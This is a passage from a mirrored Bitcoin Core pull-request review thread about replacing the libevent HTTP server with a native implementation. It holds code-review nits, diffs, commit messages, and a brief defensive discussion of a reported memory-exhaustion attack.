          return "\r\n".join(lines).encode("ascii") + b"\r\n\r\n" + body
    

    pinheadmz commented at 6:30 PM on May 22, 2026:

    Im gonna pass on this one I think theres enough differences in the test cases that its helpful to see the whole request.

  90. in src/util/string.cpp:62 in f370d5fb74 outdated
      56 | @@ -57,11 +57,11 @@ std::optional<std::string> LineReader::ReadLine()
      57 |  }
      58 |  
      59 |  // Ignores max_line_length but won't overflow
      60 | -std::string LineReader::ReadLength(size_t len)
      61 | +std::string_view LineReader::ReadLength(size_t len)
      62 |  {
      63 | -    if (len == 0) return "";
      64 | +    if (len == 0) return std::string_view{};
    


    fjahr commented at 8:48 PM on May 20, 2026:

    in f370d5fb74d6a59e31bec84b0ad448d55f9fce36:

    micro-nit: This should be enough here

        if (len == 0) return {};
    

    hodlinator commented at 5:25 PM on May 22, 2026:

    (That comes from my diff #35182 (review). The reason I had the type explicit was because I was experimenting with reducing the amount of exceptions and returning std::optional<std::string_view> instead, where {} would be the nullopt used when we run out of bytes).

    Edit: agree that we should remove the type if we don't change the return type.


    pinheadmz commented at 6:34 PM on May 22, 2026:

    👍 removing the type here

  91. in src/httpserver.cpp:497 in f3efcbb714 outdated
     491 | @@ -490,6 +492,7 @@ void StopHTTPServer()
     492 |      }
     493 |      LogDebug(BCLog::HTTP, "Stopped HTTP server\n");
     494 |  }
     495 | +} // namespace http_libevent
     496 |  
     497 |  struct event_base* EventBase()
    


    fjahr commented at 8:57 PM on May 20, 2026:

    in f3efcbb7147e59141d5bec5ccc2c1308f66929a1:

    nit-question: Why is EventBase() not included in the namespace?


    pinheadmz commented at 6:41 PM on May 22, 2026:

    Hm not sure why I left that out, but I'll include it on this rebase. There are few global-state elements that are left alone but this isn't one of them.

  92. in src/httpserver.cpp:1053 in 2c4a01bace outdated
    1284 | +                                            if (m_disconnect_all_clients) {
    1285 | +                                                // ...unless we still have data for this client.
    1286 | +                                                if (client->m_connection_busy) {
    1287 | +                                                    // There is still data for this healthy-connected client.
    1288 | +                                                    // Continue the I/O loop until all data is sent or an error is encountered.
    1289 | +                                                    return false;
    


    hodlinator commented at 9:45 PM on May 21, 2026:

    I wonder if we could be slightly more ruthless in case we are shutting down?

    This passes unit tests and regular functional tests:

    iff --git a/src/httpserver.cpp b/src/httpserver.cpp
    index b6e258ec71..701780333b 100644
    --- a/src/httpserver.cpp
    +++ b/src/httpserver.cpp
    @@ -955,6 +955,13 @@ void HTTPServer::ThreadSocketHandler()
             // Disconnect any clients that have been flagged.
             DisconnectClients();
         }
    +
    +    // We could just have exited DisconnectClients() above before any potential
    +    // call to DisconnectAllClients(). So call them again to make sure we exit
    +    // with no remaining clients.
    +    DisconnectAllClients();
    +    DisconnectClients();
    +    assert(GetConnectionsCount() == 0);
     }
     
     void HTTPServer::MaybeDispatchRequestsFromClient(const std::shared_ptr<HTTPRemoteClient>& client) const
    @@ -1042,24 +1049,10 @@ void HTTPServer::DisconnectClients()
                                                              client->m_origin,
                                                              client->m_id);
                                                 }
    -                                        } else {
    -                                            // Disconnect this client because the server is shutting
    -                                            // down and we need to disconnect all clients...
    -                                            if (m_disconnect_all_clients) {
    -                                                // ...unless we still have data for this client.
    -                                                if (client->m_connection_busy) {
    -                                                    // There is still data for this healthy-connected client.
    -                                                    // Continue the I/O loop until all data is sent or an error is encountered.
    -                                                    return false;
    -                                                } else {
    -                                                    // This is a healthy persistent connection (e.g. keep-alive)
    -                                                    // but it's time to say goodbye.
    -                                                    ;
    -                                                }
    -                                            } else {
    -                                                // No reason to disconnect.
    -                                                return false;
    -                                            }
    +                                        } else if (!m_disconnect_all_clients) {
    +                                            // Unless we are disconnecting all clients due to server shutdown,
    +                                            // there is no reason to disconnect.
    +                                            return false;
                                             }
                                             // No reason NOT to disconnect, log and remove.
                                             LogDebug(BCLog::HTTP,
    
  93. DrahtBot added the label Needs rebase on May 22, 2026
  94. fjahr commented at 8:26 AM on May 22, 2026: contributor

    Only partial re-review so far but since you might rebase I am putting these here already in case you might want to address them

  95. fanquake referenced this in commit 815d474be7 on May 22, 2026
  96. fanquake referenced this in commit 1fe244bafd on May 22, 2026
  97. test: cover common HTTP attacks and common malformed requests 64bcd48688
  98. util/string: use string_view in LineReader
    Co-authored-by: Hodlinator <172445034+hodlinator@users.noreply.github.com>
    798ee0cba4
  99. util/string: LineReader should only trim \r or \r\n
    The utility can not be opinionated about CR or SP on either end of a
    line it reads. That decision is up to the caller and in fact in the
    case of HTTP should be allowed in some places and rejected in others.
    
    Replace TrimStringView() with more surgical operation.
    94cc79d830
  100. http: enclose libevent-dependent code in a namespace
    This commit is a no-op to isolate HTTP methods and objects that
    depend on libevent. Following commits will add replacement objects
    and methods in a new namespace for testing and review before
    switching over the server.
    4170cf0aa2
  101. http: Implement HTTPHeaders class
    see:
    https://www.rfc-editor.org/rfc/rfc2616#section-4.2
    https://www.rfc-editor.org/rfc/rfc7231#section-5
    https://www.rfc-editor.org/rfc/rfc7231#section-7
    https://httpwg.org/specs/rfc9111.html#header.field.definitions
    c48fa33853
  102. http: Implement HTTPResponse class
    HTTP Response message:
    https://datatracker.ietf.org/doc/html/rfc1945#section-6
    
    Status line (first line of response):
    https://datatracker.ietf.org/doc/html/rfc1945#section-6.1
    
    Status code definitions:
    https://datatracker.ietf.org/doc/html/rfc1945#section-9
    64b907394a
  103. http: Implement HTTPRequest class
    HTTP Request message:
    https://datatracker.ietf.org/doc/html/rfc1945#section-5
    
    Request Line aka Control Line aka first line:
    https://datatracker.ietf.org/doc/html/rfc1945#section-5.1
    
    See message_read_status() in libevent http.c for how
    `MORE_DATA_EXPECTED` is handled there
    ec0b3421c5
  104. http: Introduce HTTPServer class and implement binding to listening socket
    Introduce a new low-level socket managing class `HTTPServer`.
    
    BindAndStartListening() was copied from CConnMan's BindListenPort()
    in net.cpp and modernized.
    
    Unit-test it with a new class `SocketTestingSetup` which mocks
    `CreateSock()` and will enable mock client I/O in future commits.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    0b54472a63
  105. HTTPServer: implement and test AcceptConnection()
    AcceptConnection() is mostly copied from CConmann in net.cpp
    and then modernized.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    3bfda32fb7
  106. HTTPServer: generate sequential Ids for each newly accepted connection
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    0545142acc
  107. http: Introduce HTTPRemoteClient class 119a44d990
  108. HTTPServer: start an I/O loop in a new thread and accept connections
    Socket handling methods are copied from CConnMan:
    
    `CConnman::GenerateWaitSockets()`
    `CConnman::SocketHandlerListening()`
    `CConnman::ThreadSocketHandler()` and `CConnman::SocketHandler()` are combined into ThreadSocketHandler()`.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    2e7a1a09e3
  109. HTTPServer: read requests from connected clients
    `SocketHandlerConnected()` adapted from CConnman
    
    Testing this requires adding a new feature to the SocketTestingSetup,
    inserting a "request" payload into the mock client that connects
    to us.
    
    This commit also moves IOErrorIsPermanent() from sock.cpp to sock.h
    so it can be called from the socket handler in httpserver.cpp
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    3192cdafcd
  110. HTTPserver: support "chunked" Transfer-Encoding 884dfd34b6
  111. HTTPServer: compose and send replies to connected clients
    Sockets-touching bits copied and adapted from `CConnman::SocketSendData()`
    
    Testing this requires adding a new feature to the SocketTestingSetup,
    returning the DynSock I/O pipes from the mock socket so the received
    data can be checked.
    
    Co-authored-by: Vasil Dimov <vd@FreeBSD.org>
    08f88ccf4c
  112. HTTPServer: disconnect clients 6d5358c87c
  113. Allow http workers to send data optimistically as an optimization d94cb87962
  114. HTTPServer: use a queue to pipeline requests from each connected client
    See https://www.rfc-editor.org/rfc/rfc7230#section-6.3.2
    
    > A server MAY process a sequence of pipelined requests in
      parallel if they all have safe methods (Section 4.2.1 of [RFC7231]),
      but it MUST send the corresponding responses in the same order that
      the requests were received.
    
    We choose NOT to process requests in parallel. They are executed in
    the order recevied as well as responded to in the order received.
    This prevents race conditions where old state may get sent in response
    to requests that are very quick to process but were requested later on
    in the queue.
    0d8c6f849e
  115. define HTTP request methods at module level outside of class
    This is a refactor to prepare for matching the API of HTTPRequest
    definitions in both namespaces http_bitcoin and http_libevent. In
    particular, to provide a consistent return type for GetRequestMethod()
    in both classes.
    9a15577abd
  116. Add helper methods to HTTPRequest to match original API
    These methods are called by http_request_cb() and are present in the
    original http_libevent::HTTPRequest.
    6f338d3a4a
  117. refactor: split http_request_cb into libevent callback and dispatch
    The original function is passed to libevent as a callback when HTTP
    requests are received and processed. It wrapped the libevent request
    object in a http_libevent::HTTPRequest and then handed that off to
    bitcoin for basic checks and finally dispatch to worker threads.
    
    In this commit we split the function after the
    http_libevent::HTTPRequest is created, and pass that object to a new
    function that maintains the logic of checking and dispatching.
    
    This will be the merge point for http_libevent and http_bitcoin,
    where HTTPRequest objects from either namespace have the same
    downstream lifecycle.
    1f52f7b919
  118. refactor: split HTTPBindAddresses into config parse and libevent setup
    The original function was already naturally split into two chunks:
    First, we parse and validate the users' RPC configuration for IPs and
    ports. Next we bind libevent's http server to the appropriate
    endpoints.
    
    This commit splits these chunks into two separate functions, leaving
    the argument parsing in the common space of the module and moving the
    libevent-specific binding into the http_libevent namespace.
    
    A future commit will implement http_bitcoin::HTTPBindAddresses to
    bind the validate list of endpoints by the new HTTP server.
    93ba1f73e5
  119. HTTPServer: implement control methods to match legacy API 0e1a72165b
  120. HTTPServer: disconnect after idle timeout (-rpcservertimeout) 0cf43d53ce
  121. http: switch servers from libevent to bitcoin 858b5f8b11
  122. fuzz: switch http_libevent::HTTPRequest to http_bitcoin::HTTPRequest e7f9ae2da5
  123. http: remove libevent usage from this subsystem bfada75f0e
  124. logging: deprecate libevent category
    Creates logic to deprecate logging categories but still
    "support" them so the software doesn't quit with unknown category
    on startup. Deprecated categories are always false and attempts
    to switch them are logged as wwarnings.
    f3db988eae
  125. doc: add release note for #35182 replace libevent HTTP server 5e689393fa
  126. pinheadmz force-pushed on May 22, 2026
  127. pinheadmz commented at 8:06 PM on May 22, 2026: member

    push to 5e689393fa2d2b9152994a364d10a060135d00ae:

    • Rebase on master, fix conflicts and silent merge conflict with #34342
    • Address review comments from @fjahr
    • Deal with the assertion failure (again) found by antithesis. The first solution was not complete enough and when testing the DoS attack presented by @janb84 I found that the shutdown process still might leave connections open. @hodlinator had a suggestion but we discussed a simpler version offline, which is implemented in this push. We introduce a ClearConnectedClients() which burns whatever's left in m_connected.
  128. in src/httpserver.h:244 in 64b907394a outdated
     239 | +class HTTPResponse
     240 | +{
     241 | +public:
     242 | +    uint8_t m_version_major;
     243 | +    uint8_t m_version_minor;
     244 | +    HTTPStatusCode m_status;
    


    fjahr commented at 8:19 PM on May 22, 2026:

    in 64b907394ae11d9903a1a41f4b5f8b1a83e7cacb:

    nit: Could initialize these with a default value maybe?

  129. in src/httpserver.cpp:824 in ec0b3421c5 outdated
     819 | +    if (!maybe_line) return false;
     820 | +    const std::string_view& request_line = *maybe_line;
     821 | +
     822 | +    // Request Line aka Control Data https://httpwg.org/specs/rfc9110.html#rfc.section.6.2
     823 | +    // Three words separated by spaces, terminated by \n or \r\n
     824 | +    if (request_line.length() < MIN_REQUEST_LINE_LENGTH) throw std::runtime_error("HTTP request line too short");
    


    fjahr commented at 9:07 PM on May 22, 2026:

    in ec0b3421c515ba46dab6e6c9f47f45e0d80e0e00:

    I find this minimum length validation a bit odd. This still permits something like POST HTTP/1.1 (empty target but two spaces). The length validation doesn't catch this because POST is longer than GET. Looking at how the other data is validated I would have expected m_method and m_target to be checked for emptiness at least. But this seems to still be handled correctly later, just a bit of an inconsistency.

    I checked what libevent is doing here and it seems to catch this in the parse function but I don't feel strongly about this needing to be changed nonetheless.

  130. in src/httpserver.cpp:888 in 0b54472a63 outdated
     883 | @@ -881,4 +884,87 @@ bool HTTPRequest::LoadBody(LineReader& reader)
     884 |  
     885 |      return true;
     886 |  }
     887 | +
     888 | +util::Expected<void, std::string> HTTPServer::BindAndStartListening(const CService& to)
    


    fjahr commented at 9:17 PM on May 22, 2026:

    in 0b54472a63aeb559d3b3999f1f74b38ad66e92c0:

    From the commit description: "BindAndStartListening() was copied from CConnMan's BindListenPort() in net.cpp and modernized." Could you add the rationale for copying and not sharing that code? Is it a potential candidate for doing that in the future? If yes, consider adding a comment.

  131. DrahtBot removed the label Needs rebase on May 22, 2026
  132. in src/httpserver.cpp:992 in 3bfda32fb7 outdated
     987 | +                     NetworkErrorString(err));
     988 | +        }
     989 | +        return {};
     990 | +    }
     991 | +
     992 | +    if (!addr.SetSockAddr(sa, len)) {
    


    fjahr commented at 9:34 PM on May 22, 2026:

    in 3bfda32fb777c470039b09bb207cbbfa465eb8a4:

    Maybe add a comment here why this isn't too bad and we still return sock?

  133. in src/httpserver.h:313 in 0545142acc outdated
     306 | @@ -306,6 +307,11 @@ class HTTPRequest
     307 |  class HTTPServer
     308 |  {
     309 |  public:
     310 | +    /**
     311 | +     * Each connection is assigned an unique id of this type.
     312 | +     */
     313 | +    using Id = int64_t;
    


    fjahr commented at 9:41 PM on May 22, 2026:

    in 0545142acc680b76edf1e0c8658de3df70699dac:

    Any reason not to make this uint64_t?

  134. in src/httpserver.h:458 in 2e7a1a09e3 outdated
     453 | +     * After a new socket with a client has been created, configure its flags,
     454 | +     * make a new HTTPRemoteClient and Id and save its shared pointer.
     455 | +     * @param[in] sock The newly created socket.
     456 | +     * @param[in] them Address of the new peer.
     457 | +     */
     458 | +    void NewSockAccepted(std::unique_ptr<Sock>&& sock, const CService& them);
    


    fjahr commented at 11:35 AM on May 23, 2026:

    in 2e7a1a09e39459a497ec923877eb6bee0e32ec45:

    nit: them is a bit unusual as a param name. new_peer or addr or something in between would be better, IMO.

  135. in test/functional/interface_http.py:18 in 5e689393fa
      17 | -# Set in httpserver.cpp and passed to libevent evhttp_set_max_headers_size()
      18 | +# Set in httpserver.h
      19 |  MAX_HEADERS_SIZE = 8192
      20 | -# Set in serialize.h and passed to libevent evhttp_set_max_body_size()
      21 | -MAX_SIZE = 0x02000000
      22 | +MAX_BODY_SIZE = 0x02000000
    


    b-l-u-e commented at 11:36 AM on May 23, 2026:

    nit

    diff --git a/test/functional/interface_http.py b/test/functional/interface_http.py
    index 4028f7f62a..101c936471 100755
    --- a/test/functional/interface_http.py
    +++ b/test/functional/interface_http.py
    @@ -15,7 +15,7 @@ import urllib.parse
     RPCSERVERTIMEOUT = 2
     # Set in httpserver.h
     MAX_HEADERS_SIZE = 8192
    -MAX_BODY_SIZE = 0x02000000
    +MAX_BODY_SIZE = 32 * 1024 * 1024
    

    janb84 commented at 11:59 AM on May 23, 2026:

    use the _MiB literal instead ( like #34435 recently )

  136. in src/httpserver.cpp:1242 in 3192cdafcd outdated
    1237 | +    // Remove the bytes read out of the buffer.
    1238 | +    // If one of the above calls throws an error, the caller must
    1239 | +    // catch it and disconnect the client.
    1240 | +    m_recv_buffer.erase(
    1241 | +        m_recv_buffer.begin(),
    1242 | +        m_recv_buffer.begin() + (reader.it - reader.start));
    


    fjahr commented at 11:37 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    I think you can use reader.Consumed() here instead?

  137. in src/test/httpserver_tests.cpp:189 in 3192cdafcd outdated
     194 | -                                                  "Connection: close\r\n"
     195 | -                                                  "Content-Type: application/json\r\n"
     196 | -                                                  "Authorization: Basic X19jb29raWVfXzo5OGQ5ODQ3MWNmNjg0NzAzYTkzN2EzNzk0ZDFlODQ1NjZmYTRkZjJiMzFkYjhhODI4ZGY4MjVjOTg5ZGI4OTVl\r\n"
     197 | -                                                  "Content-Length: 46\r\n"
     198 | -                                                  "\r\n"
     199 | -                                                  R"({"method":"getblockcount","params":[],"id":1})""\n";
    


    fjahr commented at 11:43 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    nit: This move could probably have been avoided by putting it in the right place when adding?

  138. in src/httpserver.h:309 in 3192cdafcd outdated
     313 | @@ -305,8 +314,6 @@ class HTTPRequest
     314 |      /// @}
     315 |  };
     316 |  
     317 | -class HTTPRemoteClient;
     318 | -
    


    fjahr commented at 11:44 AM on May 23, 2026:

    in 3192cdafcda9050bb4174b7ed777634c7a21036d:

    nit: Move looks like it could be avoided by changing earlier commits accordingly.

  139. in src/httpserver.h:56 in 5e689393fa
      70 | +namespace http_bitcoin {
      71 | +using util::LineReader;
      72 |  
      73 | -/** Change logging level for libevent. */
      74 | -void UpdateHTTPServerLogging(bool enable);
      75 | +//! Shortest valid request line, used by libevent in evhttp_parse_request_line()
    


    b-l-u-e commented at 11:59 AM on May 23, 2026:

    nit maybe

    --- a/src/httpserver.h
    +++ b/src/httpserver.h
    @@ -53,13 +53,14 @@ enum class HTTPRequestMethod {
     namespace http_bitcoin {
     using util::LineReader;
     
    -//! Shortest valid request line, used by libevent in evhttp_parse_request_line()
    +//! Conservative minimum request-line length used by this parser.
    +//! See RFC 9112 section 3 (request line syntax).
     constexpr size_t MIN_REQUEST_LINE_LENGTH = std::string_view("GET / HTTP/1.0").size();
    
  140. in src/httpserver.h:62 in 5e689393fa
      85 | -/** Unregister handler for prefix */
      86 | -void UnregisterHTTPHandler(const std::string &prefix, bool exactMatch);
      87 | +//! Maximum size of each headers line in an HTTP request,
      88 | +//! also the maximum size of all headers total.
      89 | +//! See https://github.com/bitcoin/bitcoin/pull/6859
      90 | +//! And libevent http.c evhttp_parse_headers_()
    


    b-l-u-e commented at 12:00 PM on May 23, 2026:

    nit maybe

    -//! And libevent http.c evhttp_parse_headers_()
    +//! and RFC 9112 section 5 (HTTP message parsing/field limits guidance).
     constexpr size_t MAX_HEADERS_SIZE{8192};
    
  141. in src/httpserver.cpp:989 in 08f88ccf4c outdated
     984 | +    if (m_version_major == 1) {
     985 | +        // HTTP/1.0
     986 | +        if (m_version_minor == 0) {
     987 | +            auto connection_header{m_headers.FindFirst("Connection")};
     988 | +            if (connection_header && ToLower(connection_header.value()) == "keep-alive") {
     989 | +                res.m_headers.Write("Connection", "keep-alive");
    


    fjahr commented at 12:14 PM on May 23, 2026:

    in 08f88ccf4cb6cb81c952dde804f2602f47e3b184:

    I think the content length is missing here.

  142. in src/httpserver.cpp:1510 in 6d5358c87c outdated
    1503 | @@ -1455,6 +1504,21 @@ bool HTTPRemoteClient::MaybeSendBytesFromBuffer()
    1504 |              bytes_sent,
    1505 |              m_origin,
    1506 |              m_id);
    1507 | +
    1508 | +        // This check is inside the if(!empty) block meaning "there was data but now its gone".
    1509 | +        // We shouldn't even be calling MaybeSendBytesFromBuffer() when the send buffer is empty,
    1510 | +        // but for belt-and-suspenders, we don't want to modify the disconnect flags if MaybeSendBytesFromBuffer() was a no-op.
    


    fjahr commented at 12:27 PM on May 23, 2026:

    in 6d5358c87ce8ae905f9c1a8a27c7a820ac9c9a46:

    I find this comment confusing, the content of the block looks more like we are just finishing up cleanly since the buffer was empty. I don't see what is "belt-and-suspenders" here.

  143. in test/functional/interface_http.py:446 in 5e689393fa
     441 | +            ['OPTIONS', http.client.METHOD_NOT_ALLOWED],
     442 | +            ['GET',     http.client.METHOD_NOT_ALLOWED] # RPC endpoint '/' only handles POST
     443 | +        ]:
     444 | +            conn = BitcoinHTTPConnection(self.node)
     445 | +            response = conn._request(method, '/', data=None, connection_header=None)
     446 | +            print(method, response.status)
    


    pinheadmz commented at 12:59 PM on May 23, 2026:

    oh god how embarassing 😭 fixing on next rebase

  144. pinheadmz commented at 3:49 PM on May 23, 2026: member

    @janb84 This is what I'm thinking about the memory exhaustion attack you described:

    https://github.com/pinheadmz/bitcoin/pull/12

    Opened as an external PR because I'm not sure if it should be included in #35182 or addressed as a follow-up.

    The commit there mainly just makes rpcallowip way more strict, so blocked clients can't send us any data at all.

    I found the PoC you shared can also accumulate memory on master branch up to around 2 GB, if it just sends the data a little slower.

    Just trying to figure out where "feature freeze" should be in this PR and what is reasonable to handle in follow-ups which can be developed in parallel and without endless rebases!

  145. in src/test/httpserver_tests.cpp:47 in bfada75f0e outdated
      43 | @@ -44,18 +44,15 @@ BOOST_AUTO_TEST_CASE(test_query_parameters_new_behavior)
      44 |      std::string uri {};
      45 |      // This is an invalid URI because it contains a % that is not followed by two hex digits
      46 |      uri = "/rest/endpoint/someresource.json?p1=v1&p2=v2%";
      47 | -    // Old behavior: URI with invalid characters (%) raises a runtime error regardless of which query parameter is queried
      48 | -    BOOST_CHECK_EXCEPTION(http_libevent::GetQueryParameterFromUri(uri.c_str(), "p1"), std::runtime_error, HasReason("URI parsing failed, it likely contained RFC 3986 invalid characters"));
      49 | +    // Old libevent behavior: URI with invalid characters (%) raised a runtime error regardless of which query parameter is queried
    


    fjahr commented at 10:03 PM on May 23, 2026:

    nit: Do we need to keep these old behavior comments around? I can't think of a scenario where they would still be useful after merging this.

  146. in test/functional/rpc_misc.py:124 in f3db988eae outdated
     120 | @@ -121,6 +121,18 @@ def run_test(self):
     121 |          # Specifying an unknown index name returns an empty result
     122 |          assert_equal(node.getindexinfo("foo"), {})
     123 |  
     124 | +        # Test a deprecated category
    


    fjahr commented at 10:06 PM on May 23, 2026:

    nit: Might have been a better match to put this in rpc_deprecated.py

  147. fjahr commented at 10:12 PM on May 23, 2026: contributor

    Leaving some minor comments/questions from a first re-review pass. Nothing too serious, looks pretty good to me so far but I will need to do some more of these to make sure I didn't miss anything serious :)


github-metadata-mirror

This is a metadata mirror of the GitHub repository bitcoin/bitcoin. This site is not affiliated with GitHub. Content is generated from a GitHub metadata backup.
generated: 2026-05-24 14:51 UTC

This site is hosted by @0xB10C
More mirrored repositories can be found on mirror.b10c.me